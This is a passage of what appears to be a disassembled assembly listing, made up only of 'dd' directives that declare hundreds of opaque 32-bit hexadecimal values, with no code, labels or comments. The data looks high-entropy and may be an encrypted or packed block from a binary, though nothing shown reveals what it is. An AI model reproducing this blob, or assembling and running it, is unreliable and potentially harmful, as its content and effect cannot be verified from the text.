		dd 0BF6EE970h, 815F9285h, 4569F22h, 6C539D1Ch, 0ED801420h
		dd 4E81F6E5h, 530B9076h, 0B99678B3h, 90748309h,	806350C7h
		dd 0F9168B05h, 0CBAACAE1h, 51166032h, 0B80BA52h, 891D5E35h
		dd 0E9050F50h, 0D55CFDF7h, 0C46E10BEh, 0ED07929Fh, 0DB8D84D7h
		dd 93AAA019h, 6C469006h
		dd 58673549h, 330373EFh, 2976AE57h, 598A5DC3h, 5C42FC51h
		dd 7CDA5F66h, 0BB80BA76h, 36E61F18h, 5BDA8F33h,	0A2E4D76Fh
		dd 81F5D36Ah, 98AB5784h, 0D52AE9ECh, 0AB0EA83h,	0BF163460h
		dd 4CF22FB5h, 0F3063450h, 0B29565FCh, 933D7758h, 4388C404h
		dd 0BA4AF0A8h, 41E0BD28h, 0A3DB0150h, 0DEEDAF54h, 69AD037Fh
		dd 0C5E566Fh, 5E5B14D0h, 36759F51h, 920798E2h, 2D65951Ch
		dd 0E9850923h, 1AE9649Eh, 0F88BFA85h, 8CF4D32Fh, 5A3BFCF7h
		dd 0D61FA255h, 2928A2BCh, 4EE973FEh, 7757D1FBh,	81AB04BFh
		dd 0F75BF289h, 308371F4h, 42DD8A00h, 6E6B689Fh,	9D3B570h
		dd 1416B980h, 25C11BDFh, 94F703E9h, 5E593FC6h, 493FC532h
		dd 69F28941h, 5A509496h, 0C4218BFh, 0FB2F5C91h,	0A05AFC19h
		dd 4AA5FA08h, 2ED8C93Ah, 0A27057AEh, 60AA9212h,	7AABE927h
		dd 0A481D4BDh, 71D8039Ah, 0CB906D81h, 44FA02E5h, 30AE925h
		dd 95646857h, 6988CF8Ch, 0D7F61ECAh, 820CE525h,	0EF87DDF7h
		dd 625A3D60h, 599C1FBEh, 563A684Eh, 0E9C24DA2h,	2E7EE5ECh
		dd 0B231FD87h, 0F1C45DD9h, 6ECC0CC2h, 918055AAh, 61D4371Ah
		dd 0E909DD99h, 62295DC1h, 0C430E1E6h, 3CCE41B4h, 59392462h
		dd 169C2085h, 0E4603EEh, 3139115Eh, 0C04AC672h,	0B522687Dh
		dd 0CE8A1602h, 672C5458h, 0F7552C30h, 0EBF429BFh, 557F39BAh
		dd 25068E1h, 0C449CABBh, 0F852D57Bh, 2455417h, 35FD03AEh
		dd 0DABE4041h, 0FC76E101h, 4527E97Dh, 0EAE0753Bh, 97C68F98h
		dd 0A8B6881h, 47FB2E5Ah, 0CFAEA606h, 0D235F2B6h, 8023D8BAh
		dd 0E16F9141h, 0A08C6EB0h, 28AF3168h, 3E938127h, 0D65C9B22h
		dd 0E9F54920h, 9F293E8h, 32E40B87h, 0B0850394h,	4FDE907h
		dd 43A786Ch, 0B7603001h, 0BD0C8062h, 2965C2D1h,	99E91AF2h
		dd 53774835h, 902CC33Ah, 2CE07492h, 5F824F3Eh, 7FF73844h
		dd 778BBCB7h, 0B28F1C5Eh, 45784F66h, 2AA48461h,	4B5A16E4h
		dd 2562EB30h, 27F55EACh, 3F42E555h, 0B9543D92h,	0CC105A6h
		dd 0B1EF152Bh, 5A08004Ah, 12C0FB01h, 1D076A3Bh,	0B972F68h
		dd 4D13ECE6h, 8F83982Ah, 421DF0EDh, 0EB36CA29h,	0E9993008h
		dd 0FBB73E03h, 9B98BD40h, 0CCF3A919h, 63CA6917h, 8D44D1Ch
		dd 82A83871h, 0B3E90135h, 86F56959h, 266D5789h,	4A075D20h
		dd 2EB84DBDh, 4225835Eh, 2F1331F9h, 0DD8BE5DEh,	7EDE2530h
		dd 2A6855B0h, 9D6D1194h, 45C8E340h, 0EECEA19Fh,	51D41625h
		dd 67F8C057h, 59E911A5h, 30E16C9Ah, 0B72753EFh,	86DD660h
		dd 0B8166789h, 0AE10BDA2h, 2DAE5F59h, 48B140CCh, 10B9E07h
		dd 64136A68h, 0DC9878h,	53C9600Dh, 6B64F581h, 90409026h
		dd 662FA010h, 25E43DC0h, 0E4FDE9CFh, 0B85637BDh, 23C202F5h
		dd 0C16B1B5Ch, 93383843h, 7C1394D1h, 496B209Ch,	4A25777Eh
		dd 26E0DF21h, 64123245h, 0C304310Ah, 72BACD01h,	0DB7DC58Bh
		dd 0A3CE0BF0h, 24F55712h, 4FE5A8Fh, 0BE0E75A5h,	0BB7C141h
		dd 0A16A386Ah, 0A6B36E46h, 4F6DAD10h, 7680A1D0h, 41775C22h
		dd 2D259879h, 0E2FC2A26h, 5D59FD62h, 0F4683718h, 86A9234Eh
		dd 0B67D0492h, 4F68A2A9h, 0FA818EAh, 4D222AD9h,	3300476h
		dd 1E016B73h, 680A2C95h, 0E984180Eh, 31D7492Eh,	0A2891F62h
		dd 0D65FFBC8h, 6E13C17Dh, 0CD2E30A5h, 0BE2D3009h, 930B7E48h
		dd 0A8313408h, 5CF2B73Ah, 0B3D5A1E1h, 0F53188F1h, 3859E8CCh
		dd 28B9C680h, 17EE76F5h, 0EB305866h, 0F2EBD812h, 9AEE53Bh
		dd 8BD5B0AAh, 0AF025D5Bh, 0FE5D3795h, 0C878C965h, 0ADB1F15Eh
		dd 0DF10A23Ah, 0B7007510h, 68EFB256h, 0E29E3466h, 0EEF566Eh
		dd 437DFEC8h, 0D9F6F3E9h, 157C20A2h, 0D020C728h, 1F949CADh
		dd 0DC1B9E50h, 0E61770CDh, 2E2E2C6Eh, 2202E46Ch, 0F8202A24h
		dd 41612F73h, 7C2590DAh, 134F5170h, 0E99AFB54h,	7548A313h
		dd 0A197AFEAh, 0B8A2F7D5h, 35C3285Fh, 568D540h,	58A1246Ch
		dd 5A91C059h, 2076776Ah, 72B9C917h, 8A7203FFh, 0C94E5C0Bh
		dd 0EAF522BBh, 0C6028456h, 8459E6C7h, 9BE0AFC2h, 9683170Fh
		dd 6A28EE88h, 0A3314A55h, 84AA4A06h, 8CF9BBDFh,	0AF3E3786h
		dd 48BD1820h, 0F105C459h, 81167958h, 80BFB458h,	0E57C699h
		dd 7D894EEFh, 0C2DE4EF0h, 0E4C1438Ch, 0CA902B8Fh, 3E06FD05h
		dd 68174877h, 80CDF852h, 285B58E2h, 5AB5FAD3h, 9F0191A6h
		dd 5C77C268h, 0E2647A61h, 19CB515Fh, 0D2FCB250h, 2C9DBB43h
		dd 0E9801745h, 31683D78h, 52F31F17h, 0F1DDC258h, 0FF0113B0h
		dd 884B408Ah, 62FE919h,	8068E60Eh, 27B131B9h, 48D5BB71h
		dd 25685D1Ch, 97DE22F2h, 556BC2E2h, 0E7E8DDBBh,	6F4ADA68h
		dd 0F2048024h, 0EB1612E3h, 9AF727C0h, 64C32037h, 30B7E926h
		dd 0A468AD82h, 8237D108h, 5D6B789Fh, 504E5477h,	16A80D13h
		dd 0BCBEE8E9h, 0C0B05007h, 2C07021Fh, 5B7C5F01h, 0E1A8CB13h
		dd 924EBD4Fh, 255C0408h, 5127527Ch, 0FEF81245h,	0E93873CFh
		dd 58A309CEh, 0FE226EFFh, 0CC5E493Fh, 0EE5FF916h, 78E86062h
		dd 964148BBh, 25186D1Ch, 0E0259B57h, 0C017BB82h, 6843E919h
		dd 80F82CDDh, 0D312ED5Bh, 8013CABBh, 755FB850h,	0E9620CA7h
		dd 0BF3A6F6Bh, 0F1725502h, 5F7C0123h, 0B20CC82h, 0D84B94F4h
		dd 778A8AD4h, 582DB170h, 43B9D453h, 0EF2A7BDh, 80ED6340h
		dd 3E6D7B05h, 0BAFCD7E9h, 0B3FDA94Ah, 1E1C2759h, 53822FD3h
		dd 0E63AD568h, 1315F05Dh, 51C541Fh, 99427A9Ah, 0C0FAE483h
		dd 0D9D23BB5h, 0BB2405F0h, 0ADBE0756h, 6077C10Ah, 6F685E5Ah
		dd 27A3DB9Dh, 2596447Dh, 0CA80575Dh, 0BF693178h, 3FB32E3Dh
		dd 0E9DF84B4h, 84D37B96h, 46B6FD7Dh, 4631E64h, 0D584F201h
		dd 0C83394FBh, 315ED6FCh, 0FEA371A8h, 0ABC94DEAh, 12F3F843h
		dd 4AB56317h, 0C0C55CAAh, 14346B7Eh, 2E4B08E9h,	4B455D98h
		dd 40258C11h, 8E26BF7h,	5000E1DFh, 1C5BDE68h, 654F9C57h
		dd 0E051E1F7h, 0F0BF0C39h, 9A1907Dh, 0A3ABA1B6h, 2D011D7Eh
		dd 264913FDh, 2518D5D4h, 72F82577h, 0AD0783h, 8C2D5B11h
		dd 6305443Bh, 14E9C601h, 5817B5F8h, 43990409h, 0C367AA38h
		dd 0AD88C1A4h, 36BD2D68h, 0E9415EDBh, 0DD3A867Fh, 2DAFECF2h
		dd 48E7C180h, 9A00CD07h, 2967E536h, 7627E9F8h, 6EDFA3E3h
		dd 4A0C002Dh, 2A2FE281h, 0B5905D11h, 27D1FA4Bh,	25F460C2h
		dd 75950Dh, 7A16F2ABh, 0F38051Ah, 0BF934488h, 0A018BCCAh
		dd 0B7C64133h, 6992C01h, 0D9648E0Fh, 51E92E86h,	48EC7D42h
		dd 7D27FC9Eh, 475A96B6h, 0C6537FC4h, 0CC6EB3BBh, 40B62E3Ch
		dd 4DB04B16h, 645DA22h,	0E717D8E3h, 0FF0C0C6Dh,	0F410E02Bh
		dd 0F007455Bh, 933E2A94h, 0E890B14h, 0F2BCD591h, 0C232D995h
		dd 504833E9h, 0EC97F931h, 270FB6C2h, 603A0BDDh,	6BF4E90Fh
		dd 71606B69h, 0D72F8DFEh, 8FD762C3h, 105B60E9h,	0AA3CE96Bh
		dd 2B4257A0h, 6A622B41h, 3C68A920h, 0A546B13Bh,	4B20FC50h
		dd 0D6B1247Fh, 24531340h, 0BAE084E3h, 46174561h, 200E442Eh
		dd 0E08AFEA6h, 64D9BE93h, 1684F97Bh, 0B8645E70h, 9A8B2BAh
		dd 0F5532168h, 0C0C617B2h, 61A0575Fh, 20F83B03h, 0D3DBF9Ah
		dd 8411745Fh, 0CC7EC068h, 95A0539Dh, 43272BA9h,	54E87542h
		dd 40551D68h, 6EC3F535h, 2ABA4500h, 0F461FB44h,	208B41BBh
		dd 9F803E3h, 252F477Bh,	569F18DAh, 802BBE4Bh, 4C12BD55h
		dd 68957083h, 0B98A2089h, 438602E8h, 0DF42A161h, 30DA6457h
		dd 0BE22BC19h, 0DC000EC0h
		dd 54E6813Ch, 0B82B334Eh, 0C9194AE5h, 0A0A03E71h, 0CF5BB749h
		dd 0C576AF3Ch, 0EC92BE6Ch, 5DE7EE93h, 0B98F597Ch, 0E2072648h
		dd 993979A4h, 0E05829D6h, 69112872h, 42300BFAh,	0BF0471Fh
		dd 8ED1F728h, 65A3084Eh, 4209C9DFh, 7FB63EC8h, 297C660Ch
		dd 0EECE78DEh, 1A1B1D23h, 79EEC04Eh, 21C5BA3Eh,	3CF0F55Fh
		dd 994A1720h, 3B98001Ch, 29882BE6h, 0D95FFD2Fh,	30ED02BEh
		dd 4FC06B64h, 0A2FE95Bh, 80DA797Eh, 5A823483h, 18149B2Dh
		dd 1CCE4B75h, 0FE6744E9h, 3F396358h, 0D284B535h, 9F85F2BBh
		dd 79A15FBDh, 18846339h, 4FA8BADCh, 0BC11D2A7h,	0B4E0F0D4h
		dd 73C480DFh, 3AEB3B10h, 2877C306h, 7EB10E3h, 2698DBBBh
		dd 0B09F3126h, 9F27052Ah, 0D46C17E2h, 0C438620Eh, 3037BF00h
		dd 0F0715FC2h, 0B45E2BECh, 306AE1B6h, 16EC024Dh, 0E27D3147h
		dd 7065075Eh, 814CE3E0h, 0A1830BEFh, 0BF04A5F2h, 0DB02C847h
		dd 7CED5826h, 0F94CCB1Fh, 0BF2AA51Ch, 2B77C88Bh, 36FFD3E1h
		dd 0BAF72AE6h, 0EAB8DEEAh, 9B18D16h, 897DB902h,	0F16E7F97h
		dd 8C261AB3h, 7179DE0Ch, 0A9234E46h, 0C160D209h, 0C4341A68h
		dd 1C6162Dh, 813FFDBAh,	3F587774h, 0E15EB51Ah, 2E096B88h
		dd 302B7252h, 0D84B356Ah, 665E4B04h, 328969FEh,	84028B5Dh
		dd 0B8009B7Ch, 4CF94168h, 224EEAF4h, 0EC7B9AE7h, 8EB68021h
		dd 17F6801Eh, 1388718Eh, 6E3899AEh, 4BB1CF8Ch, 7E128E88h
		dd 55F27D25h, 0BD5A02C4h, 5203D2ACh, 0D2F6DA88h, 505AD3A0h
		dd 517EB016h, 19FC0B46h, 888BC47h, 4F0187A1h, 56CD810Fh
		dd 0E8C97B97h, 0FC5E2F5Dh, 0C28B602Ch, 251493BFh, 20BB3761h
		dd 0A7C59D59h, 1802D3A4h, 601DE151h, 2665417Eh,	855A1A36h
		dd 0F8E7DFBFh, 8AEE4E5Dh, 8AD35A66h, 69C2D94Fh,	803BDD30h
		dd 6E4D5E68h, 35F18366h, 0CA102461h, 0F8831388h, 0EBB997BAh
		dd 0F9953E17h, 0DF6126E6h, 0E49F7EAFh, 5183E029h, 2E0CBD2Ch
		dd 7FC60618h, 6A430957h, 9255F001h, 56F97DE3h, 0AA5412BEh
		dd 0C5D0B6D7h, 2DF44798h, 3F625A31h, 6BBE595Dh,	7B4DF0B1h
		dd 0E7FB3E12h, 40F990E5h, 0F60026E9h, 2E9C0D9h,	958A840Fh
		dd 0F180D781h, 44973A08h, 1089DCFEh, 0BFCD5231h, 895208D6h
		dd 872BA90Eh, 8B727B79h, 2F3E56A5h, 0E94120D9h,	7A69B5E8h
		dd 0E9E09B94h, 559584E1h, 62065D2Fh, 0B6E62452h, 72E1E74Eh
		dd 2A6830F0h, 91F4A02h,	0C083B353h, 0F2716155h,	0F6132E6Ch
		dd 32360BD3h, 4FFBDF86h, 9FE3D03Ah, 0CA899CB2h,	0A7800E97h
		dd 90978F2h, 9EDA8583h,	1EABA6E4h, 0CD1FE183h, 0EE755823h
		dd 500CF96h, 10E31757h,	0E147A5E9h, 0B40AFC6Eh,	1F83ECAAh
		dd 4B1778F8h, 172F608h,	0CEB5D9BAh, 3B016AA1h, 293F9E62h
		dd 5F3AE9D8h, 5BB2B71Ah, 0B14ED7E2h, 0FEC60002h, 0DA2F9253h
		dd 0A8165F29h, 408582B5h, 0BA80091Fh, 34586EC5h, 3013BC90h
		dd 0EEB6914h, 4802242Bh, 12090136h, 6779743Ch, 6CDECB54h
		dd 0BA3CE9F0h, 985D71B4h, 626A0FB3h, 77A61836h,	0BD0E1A61h
		dd 721A145Ch, 6C319BFh,	2060C07h, 64EEF581h, 0D3C143D7h
		dd 1C406A92h, 0DD020504h, 0B7FFB0AEh, 7F2E3B73h, 0E6AE1E92h
		dd 7D88611Ah, 842FAF74h, 8334F1FCh, 310EE880h, 57F8CAC8h
		dd 669DB5C6h, 501B20EFh, 8B905F98h, 3333182Dh, 0C5DCD154h
		dd 0A809986Eh, 66317A5Eh, 0D002F8Ch, 0FB1711C0h, 3618520Fh
		dd 147ABE5Dh, 0CB270A5Bh, 4A379605h, 4EBFC10h, 4E6DD041h
		dd 5780E1ECh, 31380DFCh, 0D62DF05Bh, 0C633C531h, 2A41FC5Bh
		dd 0CB06D955h, 34E6677Ch, 2C45170Ch, 7F09EA53h,	0A1A48607h
		dd 35200B91h, 0C65E2D25h, 0F57517C2h, 0DC9C4891h, 74F83A35h
		dd 50B740BAh, 3CDACBB7h, 0F25F6A27h, 95282D9h, 3D02769Fh
		dd 0AF8001ADh, 34FB685Fh, 2EE25996h, 925BD788h,	5426A227h
		dd 0AC95DD19h, 1CC23535h, 32097521h, 0BF7344DDh, 0B027A6DBh
		dd 0C4991D74h, 0C25AB3B5h, 3860012Ah, 0B5335104h, 87DB12FCh
		dd 78DDE9C2h, 3162BDAEh, 0DC9BF182h, 12225F09h,	0F15D5551h
		dd 0FF5D4406h, 2C52178h, 21297FB8h, 0B262CD01h,	0E9590801h
		dd 8C127E0Dh, 69095BDCh, 5B6E404Bh, 83A4E92Fh, 0E8E68846h
		dd 17F41FC7h, 0B8213DEDh, 8B5B276Eh, 503401F0h,	0A28167BFh
		dd 1C4079CDh, 0F65EA511h, 5FE98466h, 74FA1737h,	7D52A45Fh
		dd 0B5244492h, 5134BE8h, 825A70F4h, 0E7EC745Dh,	3B7399E8h
		dd 0B7A1F112h, 742CBA2Bh, 7184150h, 12CECADEh, 7644AF8Eh
		dd 3D1F4D16h, 0B7C72CF7h, 6974AFC1h, 3D523C02h,	67C5EC70h
		dd 14E95833h, 6FCDAB9Ah, 77C26F31h, 0E016D6FBh,	88EA9A56h
		dd 8095D020h, 11345249h, 56D2BE5Eh, 0BD5E482h, 0D3FFFC18h
		dd 4FE9FCA8h, 0CEA9C24Fh, 172F0AC4h, 826B55A8h,	59BA7060h
		dd 0E05B6528h, 5F9C201h, 0D689FE20h, 992EB23Fh,	3E2107h
		dd 609DC9D1h, 68741E49h, 71F8434Bh, 0D56379C7h,	0EB8FC41Fh
		dd 99525AD7h, 880948AEh, 1A669717h, 7F2CEF07h, 0D6EE5459h
		dd 86C023C4h, 25A30A53h, 0F6784940h, 75CE1E6h, 36FD1E9Ah
		dd 0CA09BA05h, 0D0FEE306h, 0E52C1336h, 0AA2D0466h, 0C023ECDBh
		dd 580367F6h, 7F9568h, 3238E8DBh, 0F2012F41h, 0DC4B11DCh
		dd 7368E1B7h, 0C49B2850h, 25DE4053h, 0E5D4EF4Bh, 0F45F88ADh
		dd 5BB55F27h, 36ACAD35h, 631744EEh, 2B812CD4h, 0BF505908h
		dd 0BF181F68h, 5602016Dh, 0A2EE28E9h, 747839AEh, 12EECF11h
		dd 0C4DF147Ah, 440FBD8Eh, 32FC3ABh, 303C7ABDh, 0EE16BA96h
		dd 2CA46E74h, 6C360CBFh, 59281AD3h, 7DC45782h, 2A962B04h
		dd 0DEF2F750h, 0A5CE908h, 21E4603Eh, 11D3429h, 15F96853h
		dd 0E85B2D4Ah, 5E2DE9D9h, 1316FF3Ah, 7A5F78FCh,	1B3A7591h
		dd 4CE3F564h, 134C5F07h, 8680EC20h, 8AB922BFh, 97D7654Fh
		dd 27D59145h, 1203CF61h, 0BB0CEB39h, 0CBA8EA75h, 6E685917h
		dd 5F2594F9h, 0DB5FAD42h, 0A703EAECh, 0E9D6B0FDh, 7B96481Eh
		dd 3A4AFD2h, 25409469h,	774CE27Fh, 5101BA16h, 64E0BE56h
		dd 73B0D5Bh, 0B68A0F0Eh, 8020D766h, 0AADE9723h,	0C5E571ADh
		dd 0D112BE19h, 0E90A109Bh, 0A7B8F7DAh, 85AC3B79h, 0F0340816h
		dd 5A5235C0h, 0C770F140h, 0E61D59D3h, 0B6049570h, 76E0BF46h
		dd 0A1814A88h, 8909014Dh, 5FBC68D8h, 0B905F72Dh, 0B75E8EA0h
		dd 0E74204DBh, 8B72FB50h, 0AA7FF1F6h, 537026DCh, 54E59DCFh
		dd 92FC403Eh, 0F5801242h, 122ABC18h, 20AE0CB4h,	7E13685Dh
		dd 0C2F2C182h, 970CEC3Ah, 17E6D1FAh, 0BBA70415h, 419D0554h
		dd 8CF16FD9h, 3A51F13Bh, 7A436DAAh, 202E314h, 69405DC5h
		dd 0A862634Eh, 9496BFA2h, 0E2660BE0h, 50D77412h, 72AEA881h
		dd 6F598139h, 0B4501746h, 0A13155F6h, 0F06A996Bh, 5797DDFAh
		dd 5C25B6B4h, 0DD07EA53h, 99492702h, 65163F80h,	0D69817B1h
		dd 0AACE180Ah, 1910BD82h, 0C72DA358h, 0DAD74E4Ah, 63E297B4h
		dd 0FBF0425Dh, 5B688506h, 0D99ABA73h, 4532FF4Ah, 0BDE4C82Ah
		dd 0B972144Bh, 0B476E475h, 0A0C0E506h, 0B1417CDFh, 1CCFE73Bh
		dd 4300E5BAh, 0D0F28178h, 0B856E22Bh, 4AB9390Dh, 0B162312Dh
		dd 90CE947Dh, 783B0977h, 0A0F763ADh, 5D536DA7h,	210CC01Eh
		dd 511B24B0h, 313E59F2h, 7E0CEEAh, 0D43E5F3Bh, 0D7F2BBD4h
		dd 16131658h, 0DDAD212Ch, 3ABA0020h, 24D3D53h, 0C9CFCE1Ah
		dd 0F43450D7h, 91154B0Bh, 57820C0h, 20F94616h, 38CDCCDFh
		dd 9D0EF37Bh, 0C149687Bh
		dd 8D7F3AEBh, 0FCBF220h, 2AC07AB1h, 0AD08C380h,	8295C2B2h
		dd 91DED00h, 0EC4A0005h, 860F064Ah, 3B573297h, 0D10478F5h
		dd 0EBEE8910h, 0B2E9AC60h, 0A789BC71h, 5549A3DEh, 3620A872h
		dd 2F9B68Eh, 1A801285h,	0D963143h, 0C08CE925h, 1E6ABA2Dh
		dd 8C2B7B61h, 5814B9A7h, 0EE5AFAA4h, 0C84957BCh, 800F4F02h
		dd 3A7D3E57h, 0F734894Fh, 0BD047296h, 97B238A1h, 94BF4185h
		dd 939B8219h, 5BAF5657h, 615E06F7h, 74746627h, 0DB62CBDCh
		dd 2123F41h, 5A8A5E5Dh,	0E3808D7Bh, 68452226h, 0CC5A4A3Bh
		dd 0C1207DBh, 0DEF9305Eh, 27D5B84h, 0F9176268h,	4086A0A8h
		dd 0D35A31EAh, 49516180h, 0CD2550B4h, 802840C6h, 0FE2BC500h
		dd 60810FCDh, 53B9C477h, 2660BAB4h, 0BECB8Ah, 68F93F7Fh
		dd 946E681h, 0BF2B9B2Eh, 9A5FA540h, 0C580B52Fh,	29308A52h
		dd 60AEF35Eh, 13E2E965h, 0BD265092h, 10530C68h,	2764B5A0h
		dd 128BF7BEh, 0A04A0405h, 0FC12BF1Bh, 6605023Eh, 0AC0263F7h
		dd 0F623E907h, 0FC880EF8h, 0AA58E644h, 4098D42Ch, 52955F3Ch
		dd 52E0C63h, 5BA90930h,	12756815h, 4DE784E9h, 0CB9254EEh
		dd 2271310h, 4C0DECBAh,	0A5425D4Fh, 9BF637Fh, 0BB530506h
		dd 0D80FB771h, 0A0C45E5Bh, 0C4BF9F90h, 1EB6EFBEh, 5D36B812h
		dd 0A0068998h, 0DBF77222h, 3FAAA6E1h, 29C745BCh, 0E655F9C5h
		dd 6AA82046h, 432C7CC2h, 0EBD683DEh, 10D2428h, 0FC2B17ECh
		dd 585BCB92h, 845048CFh, 0B4594A0Bh, 3E5F301h, 3FC6CC81h
		dd 0A00CE73Ch, 6A8B12EDh, 7D989070h, 555A30FBh,	3C88BFA0h
		dd 9A6154D6h, 0E4C1B151h, 0EFF259CFh, 0DAF32BE7h, 0C073E90Bh
		dd 0AAB67DDh, 601EBh, 833C91E3h, 0FF49536Eh, 0CBB516BEh
		dd 6F7E4D20h, 41523034h, 6A859F0Eh, 97E15AB5h, 0C5AF1A45h
		dd 242E28D8h, 50454E9Ah, 2AFFFD21h, 56D622F0h, 0C27E10BFh
		dd 8A097BAAh, 3E4CBA40h, 9080A9BEh, 0F73A4904h,	16F698D7h
		dd 12923B3h, 6DA8CFF2h,	0FB77C10h, 0F205F606h, 0BE4716EBh
		dd 0F00DE805h, 2C3FF629h, 0B726E93Ah, 0C1C71423h, 0E9949B93h
		dd 916E7B8Dh, 4A7121h, 2506952Dh, 0AB5DFE4Ch, 55499079h
		dd 0C4F24BE9h, 2C2DC1B8h, 40C57375h, 0FF952F91h, 77F743Bh
		dd 0E637EB2Dh, 0C0681599h, 0E91B4E4Fh, 0FAC487F9h, 0AE4475D5h
		dd 0EB903783h, 52B90D0Ch, 0F328864Eh, 0D0B83B0h, 0DF38E979h
		dd 13006F30h, 5F18C9C5h, 60A9FA2Eh, 37BB1A13h, 7B28AD29h
		dd 4002C643h, 0E9086770h, 4883507Eh, 4074828h, 77772C7Bh
		dd 0BC9D6EF8h, 8909D14Eh, 6E978285h, 7F35F233h,	6568E3B0h
		dd 0A5A6016h, 212019ACh, 3CAD5E4Fh, 493E0F1h, 0CAC97382h
		dd 0D840D614h, 79BDC301h, 0F8582F36h, 4AF996B7h, 0D6CCE852h
		dd 9FA345FEh, 45C1885Eh, 54691516h, 644356FAh, 2DB1FF9Bh
		dd 0F51444A0h, 195907EAh, 0FF236645h, 5771602Fh, 78BB59E9h
		dd 3B616809h, 0FB608F7Ch, 953E7C08h, 79B08277h,	0EE640522h
		dd 0F676B04h, 0F758D9AFh, 0C8BB4D03h, 11EAA44h,	0EA2C8C9Eh
		dd 61E1C135h, 72FB4801h, 4CCC145Dh, 97F929CDh, 5A34FA30h
		dd 709D8Ch, 0E03040F0h,	15A70C44h, 0AB6F556Eh, 0C11EDA03h
		dd 10DF2BD5h, 7DA9BECEh, 3DF3EA02h, 0C8F76DDAh,	3040B11Ah
		dd 0A84870E8h, 111695D5h, 0CDAED621h, 2B912BF0h, 453A87AAh
		dd 411DC5C1h, 373975F6h, 0B9A04715h, 58194C56h,	0F56608DAh
		dd 19A3680Bh, 9624F54h,	34D957F7h, 7FB468C2h, 6F9E20AEh
		dd 7771F7FAh, 810025B8h, 710899E7h, 4B8FE92Dh, 5D9BAB73h
		dd 75D15F2Fh, 604B0F6Eh, 8C0F430Bh, 0ACB14EF5h,	0CA10A20Bh
		dd 258ADC47h, 0CA20FA34h, 0E6585037h, 207612CEh, 1AC4FE7Fh
		dd 335F080Bh, 0F418E198h, 6253680h, 2D42810Eh, 601D4900h
		dd 460C054Eh, 216E18D1h, 67EB58C3h, 0EE53DE05h,	438CDF29h
		dd 4578408Bh, 4B47BECh,	1B86BB01h, 0BE642042h, 0A834415Ah
		dd 441E133Ah, 5BD37F31h, 3B925513h, 6B1A7DD2h, 0A4837C77h
		dd 17572D29h, 0BB3D356Fh, 0AF4B92CFh, 43C75AC8h, 1CA5166Dh
		dd 0BAD828BBh, 0CBB4440h, 0D126C8Bh, 27985374h,	0A4E92709h
		dd 38F9E682h, 23242D5Eh, 5D27059Ah, 0CFC0BA32h,	9F8078E9h
		dd 75272445h, 0D9E9CBA2h, 52BE69D0h, 12EE0316h,	553E4924h
		dd 681C2116h, 33D31F80h, 0D10266E3h, 6AF0E9EBh,	88200552h
		dd 0FC70977Fh, 4DB634FCh, 93C68007h, 7FB6F482h,	0EB70C123h
		dd 885A0C01h, 0D92C59CBh, 4A9BE86Bh, 3DBB6513h,	0AD792AFDh
		dd 5300B03Ch, 3FFFB850h, 0BB1A2795h, 620A4003h,	5D6F4CEh
		dd 8C2159E9h, 0C5BD5E92h, 107D248Fh, 0E8C100AAh, 93C83118h
		dd 35419D53h, 56B72BAh,	8E6133Eh, 2414F2ECh, 6FA7C0C9h
		dd 0FB378880h, 0A0ED0132h, 0CC10836h, 1D960F51h, 847A27F5h
		dd 0F5DCFBF9h, 6F1A003Ch, 8F59FA25h, 870F3551h,	0E0021E2Fh
		dd 2DB409B2h, 1CC25229h, 375C034Fh, 0AB9C7894h,	45EAEF40h
		dd 26647617h, 204BCA29h, 59597908h, 0B94F36D0h,	45E9E043h
		dd 0BD7EE15Fh, 954ADFC0h, 40ADAB64h, 8085020Bh,	0C295C0FEh
		dd 0E6215714h, 6E86FAE9h, 0EF5053E7h, 0FC595AC3h, 66B6A71Fh
		dd 19C60617h, 0AF024A54h, 2D4AAEFCh, 249072E6h,	0EB096AC4h
		dd 575F2B72h, 14F5310Bh, 0F510550Dh, 0B92AE07Fh, 279F50Bh
		dd 0F9C8D729h, 22C71042h, 0B375CDB6h, 2948F9F1h, 1FC82F68h
		dd 61A46218h, 3DC74182h, 80037068h, 0DDF696EDh,	0E9BDC5A8h
		dd 0BC80284Fh, 0B5144A68h, 202D9946h, 0D1AD5472h, 865B7417h
		dd 2CBAC850h, 29DD755Ch, 7B029E76h, 8AA354A2h, 400947E9h
		dd 92845924h, 79BFB5D5h, 53B8062Ah, 703E433Ah, 286305F1h
		dd 0B8E9F531h, 112358C8h, 0A802A9Fh, 8713BF18h,	0E956F304h
		dd 0E0129D53h, 0A448832Bh, 5CB2A793h, 8166F972h, 39708F9Ch
		dd 0E6E86E2Dh, 12E49575h, 38DFE220h, 0F101D1B1h, 3BC1805Ah
		dd 1668CDFEh, 0E07E3056h, 0CBB3EF6Dh, 920BA83Dh, 0E5EC8515h
		dd 3065E8C6h, 94AE294Bh, 1DE4EF01h, 7A299857h, 306F7C33h
		dd 290B37BFh, 625AE9C7h, 7759AE09h, 5D2616E5h, 0D2B17714h
		dd 2D46E7BBh, 66C68438h, 0C22CFAFh, 64D874E9h, 8D039F88h
		dd 0D7023910h, 1C5D70E2h, 5171E012h, 5734171Eh,	0D9951729h
		dd 0E9033022h, 4682F15Ah, 2B779BDh, 5DEF87FDh, 0C6AA9280h
		dd 89B78D50h, 0E3C05F11h, 952FC70Fh, 4AE75087h,	0AF9FC59Fh
		dd 7E3328h, 81617233h, 44217FCDh, 0B9512B00h, 2AA45054h
		dd 635238E9h, 0BD159570h, 221C4093h, 0D4979028h, 15DD58E8h
		dd 4559C900h, 7831BB53h, 0A86A4AD7h, 63E45B0Bh,	0F1841242h
		dd 0FE6991C4h, 6DB905F4h, 0BE587FC9h, 0A96D1BB7h, 0E26A2B72h
		dd 21021793h, 25FECAAAh, 0BD38F8EAh, 0C072FE54h, 0D2B1047h
		dd 0F72920A8h, 5E080240h, 985C7AFDh, 0C5994A22h, 2FEF8B5Ch
		dd 0F894FFC7h, 62B4CC1h, 24A72501h, 0F0A7D254h,	0F9215D43h
		dd 0AC25573Bh, 9668E602h, 54B89855h, 61CABC5Fh,	0BA0ECFE9h
		dd 1014942Ah, 584D4B9h,	0D4C16FDh, 4470F1ABh, 0F27D8254h
		dd 951DC5Fh, 865E158Eh,	6FAC4FBCh, 31415C44h, 0CE904411h
		dd 62CC7B09h, 76724DCFh, 0CB4EB180h, 42905923h,	3628E8B0h
		dd 0D509D06Fh, 603094A2h, 5ED031A0h, 0E429B95Ah, 0F1FA9595h
		dd 0E0948265h, 0DF67B435h, 94100E13h, 800C3B6Ah, 5101AC9h
		dd 204F1CBFh, 0AB985E55h, 7D3B4D90h, 0E0CA001Eh, 0E9647539h
		dd 613E4B22h, 4FB7D96h
